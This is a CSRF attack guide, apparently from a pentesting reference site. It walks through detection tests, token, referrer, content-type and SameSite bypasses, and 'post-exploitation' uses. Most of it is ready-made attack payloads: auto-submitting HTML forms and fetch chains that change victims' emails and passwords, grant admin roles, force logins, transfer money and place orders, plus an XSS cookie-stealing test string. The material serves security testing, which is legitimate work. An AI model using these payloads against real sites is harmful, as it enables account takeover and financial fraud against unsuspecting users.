Cross-Site Request Forgery (CSRF) Attack Guide

Learn how to test and exploit Cross-Site Request Forgery (CSRF) vulnerabilities including detection, attack methods and bypass techniques.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It exploits the trust that a web application has in the user's browser.

How It Works​

CSRF attacks work by tricking a victim's browser into sending a malicious request to a web application where the victim is authenticated. For example:

<!-- Attacker's malicious page -->  
<img src="https://bank.com/transfer?to=attacker&amount=10000" />  

When a victim who is logged into bank.com visits the attacker's page, their browser automatically sends the authenticated request, potentially transferring money without the victim's knowledge.

Detection​

Manual Testing​

Basic CSRF Tests​

Testing for CSRF protections:

# Step 1: Perform a state-changing action (logged in)  
POST /api/change-email HTTP/1.1  
Host: target.com  
Cookie: session=abc123  
Content-Type: application/x-www-form-urlencoded  
  
email=newemail@example.com  
  
# Step 2: Check for CSRF token  
# Look for:  
# - Hidden input field: <input type="hidden" name="csrf_token" value="...">  
# - Custom header: X-CSRF-Token: ...  
# - Cookie-based token: csrf_token=...  
  
# Step 3: Remove/modify CSRF token  
# Try without token  
POST /api/change-email HTTP/1.1  
Host: target.com  
Cookie: session=abc123  
Content-Type: application/x-www-form-urlencoded  
  
email=newemail@example.com  
  
# If request succeeds: Vulnerable to CSRF  

Token Validation Tests​

Testing CSRF token implementation:

# Original request with token  
POST /api/update-profile HTTP/1.1  
Cookie: session=abc123  
csrf_token=xyz789&name=John&email=john@example.com  
  
# Test 1: Remove token completely  
name=John&email=john@example.com  
  
# Test 2: Use empty token  
csrf_token=&name=John&email=john@example.com  
  
# Test 3: Use another user's token  
# Login with second account, get their token  
csrf_token=user2_token&name=John&email=john@example.com  
  
# Test 4: Use old/expired token  
csrf_token=old_token_xyz123&name=John&email=john@example.com  
  
# Test 5: Modify token slightly  
csrf_token=xyz788&name=John&email=john@example.com  

HTTP Method Tests​

Testing method-based CSRF protections:

# Original POST request  
POST /api/delete-account HTTP/1.1  
Cookie: session=abc123  
  
user_id=123  
  
# Test with GET method  
GET /api/delete-account?user_id=123 HTTP/1.1  
Cookie: session=abc123  
  
# Test with PUT method  
PUT /api/delete-account HTTP/1.1  
Cookie: session=abc123  
  
user_id=123  
  
# Test with custom methods  
PATCH /api/delete-account HTTP/1.1  
DELETE /api/delete-account?user_id=123 HTTP/1.1  

Content-Type Tests​

Testing content-type based protection:

# Original JSON request  
POST /api/update HTTP/1.1  
Content-Type: application/json  
Cookie: session=abc123  
  
{"email":"new@example.com"}  
  
# Test with form-encoded  
POST /api/update HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: session=abc123  
  
email=new@example.com  
  
# Test with text/plain  
POST /api/update HTTP/1.1  
Content-Type: text/plain  
Cookie: session=abc123  
  
{"email":"new@example.com"}  
  
# Test with multipart  
POST /api/update HTTP/1.1  
Content-Type: multipart/form-data; boundary=----Boundary  
Cookie: session=abc123  
  
------Boundary  
Content-Disposition: form-data; name="email"  
  
new@example.com  
------Boundary--  

Referrer Header Tests​

Testing referrer-based protection:

# Original request  
POST /api/change-password HTTP/1.1  
Host: target.com  
Referer: https://target.com/settings  
Cookie: session=abc123  
  
new_password=test123  
  
# Test without Referer  
POST /api/change-password HTTP/1.1  
Host: target.com  
Cookie: session=abc123  
  
new_password=test123  
  
# Test with attacker's Referer  
POST /api/change-password HTTP/1.1  
Host: target.com  
Referer: https://attacker.com/csrf.html  
Cookie: session=abc123  
  
new_password=test123  
  
# Test with partial match  
POST /api/change-password HTTP/1.1  
Host: target.com  
Referer: https://target.com.attacker.com/  
Cookie: session=abc123  
  
new_password=test123  

Automated Discovery​

Using Burp Suite​

# Step 1: Enable CSRF detection  
# Burp > Target > Site map  
# Right-click on target > Engagement tools > Generate CSRF PoC  
  
# Step 2: Burp will analyze request and create PoC  
# It automatically handles:  
# - Multi-part forms  
# - JSON requests  
# - Custom headers  
  
# Step 3: Test the generated PoC  
# Save HTML file and open in browser while logged in  
# Check if action is performed  
  
# Step 4: Use Burp Extensions  
# Install: CSRF Scanner  
# Install: CSurfer  
# Install: Auto CSRF  

Using XSRFProbe​

# Basic CSRF scan  
xsrfprobe -u https://target.com/endpoint  
  
# With cookies  
xsrfprobe -u https://target.com/endpoint \  
  --cookie "session=abc123"  
  
# Crawl and test  
xsrfprobe -u https://target.com \  
  --crawl \  
  --cookie "session=abc123" \  
  --output results.txt  
  
# Advanced options  
xsrfprobe -u https://target.com/endpoint \  
  --cookie "session=abc123" \  
  --delay 2 \  
  --timeout 10 \  
  --max-chars 500  

Using Custom Scripts​

# Python CSRF testing script  
import requests  
from bs4 import BeautifulSoup  
  
# Target URL  
url = "https://target.com/api/change-email"  
  
# Authenticated session  
session = requests.Session()  
session.cookies.set('session', 'your_session_cookie')  
  
# Original request with CSRF token  
response = session.get("https://target.com/settings")  
soup = BeautifulSoup(response.text, 'html.parser')  
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']  
  
print(f"[*] Original token: {csrf_token}")  
  
# Test 1: Without CSRF token  
print("[*] Testing without CSRF token...")  
response = session.post(url, data={  
    'email': 'attacker@evil.com'  
})  
if response.status_code == 200:  
    print("[+] VULNERABLE: Request succeeded without token!")  
else:  
    print("[-] Protected: Request blocked without token")  
  
# Test 2: With empty token  
print("[*] Testing with empty token...")  
response = session.post(url, data={  
    'email': 'attacker@evil.com',  
    'csrf_token': ''  
})  
if response.status_code == 200:  
    print("[+] VULNERABLE: Request succeeded with empty token!")  
else:  
    print("[-] Protected: Request blocked with empty token")  

Attack Vectors​

GET-Based CSRF​

Exploiting GET requests for CSRF:

<!-- Image tag CSRF -->  
<img src="https://target.com/api/delete-account?confirm=yes" />  
  
<!-- Script tag CSRF -->  
<script src="https://target.com/api/change-setting?setting=value"></script>  
  
<!-- Link tag CSRF -->  
<link rel="stylesheet" href="https://target.com/api/action?param=value" />  
  
<!-- Iframe CSRF -->  
<iframe src="https://target.com/api/transfer?to=attacker&amount=1000"></iframe>  
  
<!-- Redirect CSRF -->  
<meta http-equiv="refresh" content="0; url=https://target.com/api/action?param=value" />  
  
<!-- Ajax CSRF -->  
<script>  
fetch('https://target.com/api/action?param=value', {  
  credentials: 'include'  
});  
</script>  

POST-Based CSRF​

Exploiting POST requests:

<!-- Auto-submitting form -->  
<html>  
<body>  
<form id="csrf-form" action="https://target.com/api/change-email" method="POST">  
  <input type="hidden" name="email" value="attacker@evil.com" />  
</form>  
<script>  
  document.getElementById('csrf-form').submit();  
</script>  
</body>  
</html>  
  
<!-- With file upload -->  
<form action="https://target.com/api/upload-avatar" method="POST" enctype="multipart/form-data">  
  <input type="file" name="avatar" />  
  <input type="submit" value="Submit" />  
</form>  
  
<!-- JSON CSRF with form -->  
<form action="https://target.com/api/update" method="POST" enctype="text/plain">  
  <input name='{"email":"attacker@evil.com","ignore":"' value='test"}' />  
</form>  

JSON CSRF​

Exploiting JSON endpoints:

<!-- Method 1: text/plain Content-Type -->  
<form action="https://target.com/api/update" method="POST" enctype="text/plain">  
  <input name='{"email":"attacker@evil.com"}' value='' />  
  <input type="submit" value="Submit" />  
</form>  
  
<!-- Method 2: Flash + 307 redirect -->  
<script>  
// Requires Flash (deprecated)  
var xhr = new XMLHttpRequest();  
xhr.open('POST', 'https://target.com/api/update', true);  
xhr.setRequestHeader('Content-Type', 'application/json');  
xhr.send('{"email":"attacker@evil.com"}');  
</script>  
  
<!-- Method 3: Fetch with SameSite=None -->  
<script>  
fetch('https://target.com/api/update', {  
  method: 'POST',  
  credentials: 'include',  
  headers: {  
    'Content-Type': 'application/json'  
  },  
  body: JSON.stringify({  
    email: 'attacker@evil.com'  
  })  
});  
</script>  

Multi-Step CSRF​

Chaining multiple requests:

<script>  
// Step 1: Get current user data  
fetch('https://target.com/api/user', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(data => {  
  // Step 2: Modify and send back  
  data.email = 'attacker@evil.com';  
  data.role = 'admin';  
    
  return fetch('https://target.com/api/user/update', {  
    method: 'POST',  
    credentials: 'include',  
    headers: {  
      'Content-Type': 'application/json'  
    },  
    body: JSON.stringify(data)  
  });  
})  
.then(() => {  
  // Step 3: Verify change  
  console.log('CSRF attack successful');  
});  
</script>  

Login CSRF​

Forcing victim to login with attacker's account:

<!-- Force login to attacker's account -->  
<form action="https://target.com/login" method="POST" id="login-form">  
  <input type="hidden" name="username" value="attacker" />  
  <input type="hidden" name="password" value="attackerpass123" />  
</form>  
<script>  
  document.getElementById('login-form').submit();  
</script>  
  
<!-- Purpose: Victim uses attacker's account  
     - Victim adds payment method  
     - Victim enters sensitive data  
     - Attacker logs back in and sees data  
-->  

Bypass Techniques​

Token Bypass​

Bypassing CSRF token validation:

# Remove token parameter  
# Original:  
POST /api/update HTTP/1.1  
csrf_token=xyz&email=test@example.com  
  
# Without token:  
POST /api/update HTTP/1.1  
email=test@example.com  
  
# Empty token  
csrf_token=&email=test@example.com  
  
# Null token  
csrf_token=null&email=test@example.com  
  
# Array notation  
csrf_token[]=&email=test@example.com  
  
# Change parameter name slightly  
csrftoken=xyz&email=test@example.com  
CSRF_TOKEN=xyz&email=test@example.com  

Token Reuse​

Using tokens across accounts:

# Step 1: Login with Account A  
# Extract CSRF token: token_A  
  
# Step 2: Login with Account B  
# Use token_A instead of token_B  
  
# If token is not tied to session: Vulnerable  
POST /api/update HTTP/1.1  
Cookie: session=account_B_session  
csrf_token=token_A&email=attacker@evil.com  

Method Override​

Overriding HTTP methods:

# Original POST protected by CSRF  
POST /api/delete-account HTTP/1.1  
  
# Try method override headers  
POST /api/delete-account HTTP/1.1  
X-HTTP-Method-Override: DELETE  
  
POST /api/delete-account HTTP/1.1  
X-Method-Override: PUT  
  
# Try query parameter  
POST /api/delete-account?_method=DELETE HTTP/1.1  
  
# Change to GET  
GET /api/delete-account HTTP/1.1  

Content-Type Bypass​

Bypassing content-type restrictions:

# Server checks for application/json  
# Send as text/plain to bypass CORS preflight  
  
POST /api/update HTTP/1.1  
Content-Type: text/plain  
Cookie: session=abc123  
  
{"email":"attacker@evil.com"}  
  
# Or use form encoding  
POST /api/update HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cookie: session=abc123  
  
email=attacker@evil.com  
  
# With charset bypass  
Content-Type: application/json; charset=utf-7  
Content-Type: text/plain; charset=iso-8859-1  

Referrer Bypass​

Bypassing referrer checks:

<!-- Remove referrer -->  
<meta name="referrer" content="no-referrer">  
<form action="https://target.com/api/action" method="POST">  
  <input type="hidden" name="param" value="value" />  
</form>  
  
<!-- Partial referrer -->  
<meta name="referrer" content="origin">  
  
<!-- From subdomain -->  
<!-- If check is: if (referer.contains("target.com")) -->  
<!-- Host malicious page at: target.com.attacker.com -->  
  
<!-- Data URI with iframe -->  
<iframe src="data:text/html,<form action='https://target.com/api/action' method='POST'><input name='param' value='value'></form><script>document.forms[0].submit()</script>"></iframe>  

Double Submit Cookie Bypass​

Bypassing double-submit cookie pattern:

<!-- If app checks: cookie_token == post_token -->  
<!-- But doesn't validate token format -->  
  
<!-- Set attacker's token via subdomain or XSS -->  
<script>  
document.cookie = "csrf_token=attacker_token; domain=.target.com";  
</script>  
  
<!-- Then submit with matching token -->  
<form action="https://target.com/api/action" method="POST">  
  <input type="hidden" name="csrf_token" value="attacker_token" />  
</form>  

SameSite Cookie Bypass​

Bypassing SameSite cookie protection:

<!-- SameSite=Lax bypass via GET -->  
<!-- If action can be performed via GET -->  
<a href="https://target.com/api/action?param=value">Click here</a>  
  
<!-- SameSite=Lax bypass via top-level navigation -->  
<script>  
window.open('https://target.com/api/action?param=value');  
</script>  
  
<!-- SameSite=None bypass (cookies will be sent) -->  
<!-- Requires HTTPS -->  
<form action="https://target.com/api/action" method="POST">  
  <input type="hidden" name="param" value="value" />  
</form>  
  
<!-- Via subdomain (same site) -->  
<!-- If attacker controls subdomain.target.com -->  
<!-- SameSite cookies will be sent -->  

CORS Misconfiguration Chain​

Combining CORS with CSRF:

<script>  
// If CORS allows credentials from attacker origin  
fetch('https://target.com/api/get-csrf-token', {  
  credentials: 'include'  
})  
.then(r => r.json())  
.then(data => {  
  // Extract token  
  const token = data.csrf_token;  
    
  // Use token in CSRF attack  
  return fetch('https://target.com/api/action', {  
    method: 'POST',  
    credentials: 'include',  
    headers: {  
      'Content-Type': 'application/json',  
      'X-CSRF-Token': token  
    },  
    body: JSON.stringify({ param: 'value' })  
  });  
});  
</script>  

Post-Exploitation​

Account Takeover​

Using CSRF for account takeover:

<!-- Change email -->  
<form action="https://target.com/api/change-email" method="POST">  
  <input type="hidden" name="email" value="attacker@evil.com" />  
</form>  
<script>document.forms[0].submit();</script>  
  
<!-- Change password -->  
<form action="https://target.com/api/change-password" method="POST">  
  <input type="hidden" name="new_password" value="hacked123" />  
  <input type="hidden" name="confirm_password" value="hacked123" />  
</form>  
<script>document.forms[0].submit();</script>  
  
<!-- Add attacker's email as recovery -->  
<form action="https://target.com/api/add-recovery-email" method="POST">  
  <input type="hidden" name="recovery_email" value="attacker@evil.com" />  
</form>  
<script>document.forms[0].submit();</script>  

Privilege Escalation​

Escalating privileges through CSRF:

<!-- Add admin role -->  
<form action="https://target.com/api/user/update" method="POST">  
  <input type="hidden" name="user_id" value="123" />  
  <input type="hidden" name="role" value="admin" />  
</form>  
  
<!-- Add to admin group -->  
<form action="https://target.com/api/groups/add-member" method="POST">  
  <input type="hidden" name="group_id" value="1" />  
  <input type="hidden" name="user_id" value="attacker_id" />  
</form>  

Financial Fraud​

Financial attacks via CSRF:

<!-- Transfer money -->  
<form action="https://bank.com/transfer" method="POST">  
  <input type="hidden" name="to_account" value="attacker_account" />  
  <input type="hidden" name="amount" value="10000" />  
</form>  
  
<!-- Change payment method -->  
<form action="https://shop.com/api/payment-method" method="POST">  
  <input type="hidden" name="card_number" value="attacker_card" />  
  <input type="hidden" name="expiry" value="12/25" />  
</form>  
  
<!-- Purchase items -->  
<form action="https://shop.com/api/checkout" method="POST">  
  <input type="hidden" name="item_id" value="expensive_item" />  
  <input type="hidden" name="quantity" value="10" />  
  <input type="hidden" name="shipping" value="attacker_address" />  
</form>  

Data Manipulation​

Manipulating user data:

<!-- Delete account -->  
<img src="https://target.com/api/delete-account?confirm=yes" />  
  
<!-- Update profile with malicious content -->  
<form action="https://target.com/api/profile" method="POST">  
  <input type="hidden" name="bio" value="<script>alert(document.cookie)</script>" />  
</form>  
  
<!-- Change privacy settings -->  
<form action="https://target.com/api/privacy" method="POST">  
  <input type="hidden" name="profile_public" value="true" />  
  <input type="hidden" name="show_email" value="true" />  
</form>  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
Burp Suite| Web vulnerability scanner| CSRF PoC generation
XSRFProbe| CSRF detection tool| Automated CSRF testing
CSRF Tester| Browser extension| Quick CSRF testing
CSurfer| Burp extension| CSRF analysis
OWASP CSRFGuard| CSRF protection| Testing protection mechanisms
Postman| API testing tool| Manual CSRF testing